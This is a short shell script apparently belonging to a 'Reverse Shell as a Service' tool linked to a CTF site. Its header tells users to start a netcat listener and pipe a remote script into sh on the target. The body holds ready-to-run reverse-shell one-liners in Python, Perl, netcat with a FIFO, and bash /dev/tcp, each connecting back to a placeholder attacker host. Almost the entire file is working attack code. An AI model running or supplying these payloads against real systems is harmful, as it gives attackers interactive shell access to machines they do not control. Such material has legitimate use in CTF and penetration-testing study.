# Reverse Shell as a Service
# https://ctf.show/
#
# 1. On your machine:
#      nc -l 1337
#
# 2. On the target machine:
#      curl https://your-shell.com/yourip:1337 | sh
#
# 3. Don't be a dick
			if command -v python > /dev/null 2>&1; then
				python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("vps-ip",port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
				exit;
			fi
			if command -v perl > /dev/null 2>&1; then
				perl -e 'use Socket;$i="vps-ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
				exit;
			fi
			if command -v nc > /dev/null 2>&1; then
				rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc vps-ip port >/tmp/f
				exit;
			fi
			if command -v sh > /dev/null 2>&1; then
				/bin/sh -i >& /dev/tcp/vps-ip/port 0>&1
				exit;
			fi